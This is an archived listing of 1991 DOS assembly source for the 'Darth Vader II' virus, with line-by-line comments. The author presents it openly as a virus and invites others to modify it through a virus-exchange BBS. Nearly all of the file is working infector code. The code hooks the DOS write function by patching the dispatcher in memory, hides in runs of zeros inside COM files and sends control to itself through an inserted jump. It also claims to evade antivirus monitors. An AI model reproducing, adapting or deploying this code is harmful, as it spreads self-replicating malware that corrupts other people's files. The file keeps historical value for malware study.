home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DARTH2.ASM < prev    next >
Assembly Source File  |  1991-02-17  |  8KB  |  227 lines

  1. ;*******************************************************************************
  2. ;*                                           *
  3. ;*                  D A R T H   V A D E R   ][               *
  4. ;*                                           *
  5. ;*    (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia               *
  6. ;*    All Rights Reserved                               *
  7. ;*                                           *
  8. ;*    This is the second release of Darth Vader virus. Now he infect only    *
  9. ;*    those COM file, wich have area of 345 (or more) zeros. Virus put       *
  10. ;*    himself in this area and make jump to its code. As before, he can't    *
  11. ;*    be stoped by ANTI4US or disk write utilities - DOS function 40h        *
  12. ;*    (WRITE to File/Device). The virus operate in memory only, so there is  *
  13. ;*    no slowing in operations. This release of virus support DOS versions   *
  14. ;*    from 2.X till 4.X.                               *
  15. ;*        You may make any modifications in this source, BUT let me know     *
  16. ;*    what have you done (drop message at Virus eXchange BBS)            *
  17. ;*                          Waleri Todorov           *
  18. ;*******************************************************************************
  19.  
  20.  
  21.         org    0        ; Virus start offset  is 0
  22.  
  23.         call    NextLine    ; Call next instruction
  24. NextLine
  25.         pop    si        ; and calculate its present location
  26.         sub    si,3
  27.  
  28.         mov    [0f0h],si    ; Save own location in PSP
  29.         mov    [0FEh],ax    ; Save AX in PSP (Important for DOS
  30.                       ; external commands)
  31.         xor    ax,ax        ; Make DS point in interrupts vectors
  32.         mov    ds,ax        ;
  33.         mov    es,[2Bh*4+2]    ; Load ES with DOS segment from int2B
  34.         mov    ax,9000h    ; DS will point at 9000h
  35.         mov    ds,ax        ; usualy there are zeros
  36.         xor    di,di        ; ES:DI point first byte in DOS segment
  37.  
  38. NextZero
  39.         inc    di        ; Next byte
  40.         cmp    di,0F00h    ; If more than F00 bytes checked
  41.         ja    ReturnControl    ; then suppose no room and exit
  42.         push    di        ; else save tested offset
  43.         xor    si,si        ; DS:SI  == 9000:0000 (zeros area)
  44.         mov    cx,offset LastByte    ; Size of virus
  45.         repe    cmpsb        ; Compare until equal
  46.         pop    di        ; Restore tested area offset
  47.         jcxz    Found        ; If tested area is fill with zeros->
  48.         jmp    short NextZero    ; else check next
  49. Found                    ; <- Will install himself in this area
  50.         mov    si,cs:[0F0h]    ; Get own start address (maybe diff.)
  51.         mov    cs:[0F2h],di    ; Save offset in DOS segment
  52.         push    cs        ; Set DS point to virus segment
  53.         pop    ds        ;
  54.         mov    cx,offset LastByte    ; Size of virus
  55.         rep    movsb        ; Move itself in DOSSEG
  56.         push    es        ; Set DS point to DOSSEG
  57.         pop    ds
  58.  
  59.         mov    si,di        ; From this offset (after virus)
  60. NextCall                ; Will search DOS dispatcher
  61.         inc    si        ; Next byte
  62.         jz    ReturnControl    ; If segment overrun -> Return control
  63.         push    si        ; Save tested area offset
  64.         lodsw        ; Load word from DS:SI
  65.         xchg    ax,bx    ; and put readed value in BX
  66.         lodsb        ; Load byte from DS:SI
  67.         cmp    bx,0FF36h    ; Check 'magic' bytes
  68.         je    CheclAl     ; If first word match -> check last
  69. AgainCall
  70.         pop    si        ; else restore offset
  71.         jmp    short NextCall    ; and go search next byte
  72. CheclAl
  73.         cmp    al,16h        ; Check last 'magic' byte
  74.         jne    AgainCall    ; If not match go search next byte
  75.  
  76.         pop    si        ; Else restore founded offset
  77.         push    si        ; and save it for further usage
  78.         mov    di,cs:[0F2h]    ; Get virus offset
  79.         mov    [4],di        ; and save it to DOSSEG
  80.         add    di,offset HandleCall    ; DI now adjusted to
  81.         movsw            ; original dispatcher place
  82.         movsw        ; Original dispatcher go  at ES:DI for
  83.         movsb        ; further calls from virus
  84.         pop    di    ; Restore founded offset
  85.         mov    al,9Ah    ; and put an absolute FAR CALL
  86.         stosb
  87.         mov    ax,offset Handle    ; Put offset of new dispatcher
  88.         add    ax,cs:[0F2h]    ; adjust him for different offsets
  89.         stosw        ; and store offset in FAR CALL
  90.         mov    ax,es    ; put DOSSEG either in FAR CALL
  91.         stosw
  92.  
  93. ; Since this moment virus is installed and operated in memory. If make a copy
  94. ; of a file with DOS copy or PCTools and if file have area of 345 (or more)
  95. ; zeros, the copy (not the original)  will became infected. Copied file will
  96. ; operate correctly when you start him. The virus logic allow multiple copies
  97. ; of the virus in the memory so you may have file with several copies of virus
  98. ; (each memory copy put himself in file)
  99.  
  100.  
  101. ReturnControl            ; Return control to main program
  102.         push    cs    ; Set DS and ES to point at PSP
  103.         push    cs
  104.         pop    ds
  105.         pop    es
  106.         mov    di,100h ; Set ES:DI point start of file at PSP:100
  107.         push    di    ; Put DI in stack for dummy return
  108.         mov    si,[0F0h]    ; Get beginning of the virus
  109.         add    si,offset First3    ; and adjust for first 3 instr.
  110.         movsw        ; Move saved First instructions
  111.         movsb        ;
  112.         mov    ax,[0FEh]    ; Restore saved AX (required by DOS
  113.         ret            ; external command. Return control
  114.                 ; via dummy RET
  115. Fail
  116.         jmp    Do    ; Requested jump!  Don't touch here!
  117.  
  118. Handle
  119.         mov    cs:[0Ah],ds    ; Save write buffer segment
  120.         mov    cs:[0Ch],dx    ; Save write buffer offset
  121.         mov    cs:[0Eh],cx    ; Save write buffer size
  122.  
  123.         push    ax        ; Save important registers
  124.         push    bx
  125.         push    cx
  126.         push    es
  127.         push    si
  128.         push    di
  129.  
  130.         cmp    ah,40h        ; If function is not 40 (WRITE)
  131.         jne    Fail        ; then call DOS with no infection
  132.  
  133.         cmp    cx,offset LastByte+10h    ; Check if size of buffer
  134.         jb    Fail        ; is big enough to hold all virus
  135.  
  136.         mov    ax,1220h    ; Get file handle internal table number
  137.         int    2Fh        ; Via int2F  (undocumented)
  138.         mov    bl,es:[di]    ; Load table number to BL
  139.         mov    ax,1216h    ; Get handle table address in ES:DI
  140.         int    2Fh        ; Via int2F  (undocumented)
  141.         add    di,28h        ; ES:DI will point file extension
  142.  
  143.         push    cs        ; Set DS to point in virus
  144.         pop    ds
  145.  
  146.         mov    si,offset Com    ; SI point to COM string
  147.         add    si,[4]        ; adjust for different offsets
  148.         mov    cx,3        ; Will compare 3 bytes
  149.         repe    cmpsb        ; Compare until equal
  150.         jne    Do        ; If not equal -> exit with no infect
  151.  
  152.         push    ds        ; ES point to virus (DOS) segment
  153.         pop    es
  154.         mov    ds,cs:[0Ah]    ; DS point to write buffer segment
  155.         mov    si,cs:[0Ch]    ; SI point to write buffer offset
  156.         mov    di,offset First3    ; DI point to save area for
  157.         add    di,cs:[4]    ; first 3 instruction. Adjust fo offset
  158.         movsw        ; Save first 3 instruction from write buffer
  159.         movsb        ; to virus buffer
  160.  
  161.         mov    ax,9000h    ; ES wil point zeros at 9000
  162.         mov    es,ax
  163.         mov    cx,cs:[0Eh]    ; Restore write buffer size
  164. SearchHole
  165.         xor    di,di        ; ES:DI point to 9000:0000
  166.         inc    si        ; SI point next byte from write buffer
  167.         dec    cx        ; Decrease remaining bytes
  168.         jz    Do        ; If test all buffer -> no infection
  169.         push    cx        ; Save remain buffer size
  170.         push    si        ; Save current buffer offset
  171.         mov    cx,offset LastByte    ; Will check for virus size only
  172.         repe    cmpsb        ; Check until equal
  173.         pop    si        ; Restore tested area offset
  174.         jcxz    FoundHole    ; If 345 zeros -> Go infect
  175.         pop    cx        ; Else restore remain buffer size
  176.         jmp    short SearchHole    ; And go check next byte
  177. FoundHole
  178.         pop    cx    ; Restore remain buffer size
  179.         push    si    ; Save DS:SI (point to zeros in write buffer)
  180.         push    ds    ;
  181.         mov    es,cs:[0Ah]    ; ES:DI point to beginning of buffer
  182.         mov    di,cs:[0Ch]    ;
  183.         mov    al,0E9h     ; Put a NEAR JMP in buffer
  184.         stosb            ;
  185.         sub    si,cs:[0Ch]    ; Calculate argument for JMP
  186.         sub    si,3
  187.         mov    ax,si        ; and store it    in buffer
  188.         stosw            ;
  189.  
  190.         pop    es        ; ES:DI now will point to zeros
  191.         pop    di        ; and the JMP address point here
  192.                 ; So virus will receive control first
  193.         push    cs    ; DS:SI will point to virus code in memory
  194.         pop    ds
  195.         mov    si,cs:[4]    ; Adjust for different offsets
  196.         mov    cx,offset LastByte    ; Will move virus size only
  197.         rep    movsb        ; Move virus in write buffer
  198.  
  199. Do
  200.         pop    di        ; Restore important registers
  201.         pop    si
  202.         pop    es
  203.         pop    cx
  204.         pop    bx
  205.         pop    ax
  206.  
  207.         mov    dx,cs:[0Ch]    ; Restore write buffer address
  208.         mov    ds,cs:[0Ah]    ; to DS:DX
  209.  
  210. HandleCall
  211.         db    5 dup (0)    ; Here come original DOS jump instr.
  212.                     ; Usualy it is CALL SS:[MemOffs]
  213.                     ; In original DOS jump instr. is placed
  214.                     ; a FAR CALL to new WRITE handler
  215.         retf        ; Return to DOS
  216.  
  217. First3                ; Here come first 3 instruction of infected file
  218.         int    20h    ; Now they are dummy terminate
  219.         nop
  220. Com
  221.         db    'COM'   ; String to check for any COM file
  222.  
  223.         db    'Darth Vader'   ; Virus signature
  224.  
  225. LastByte            ; Dummy label to compute virus    size
  226.         nop
  227.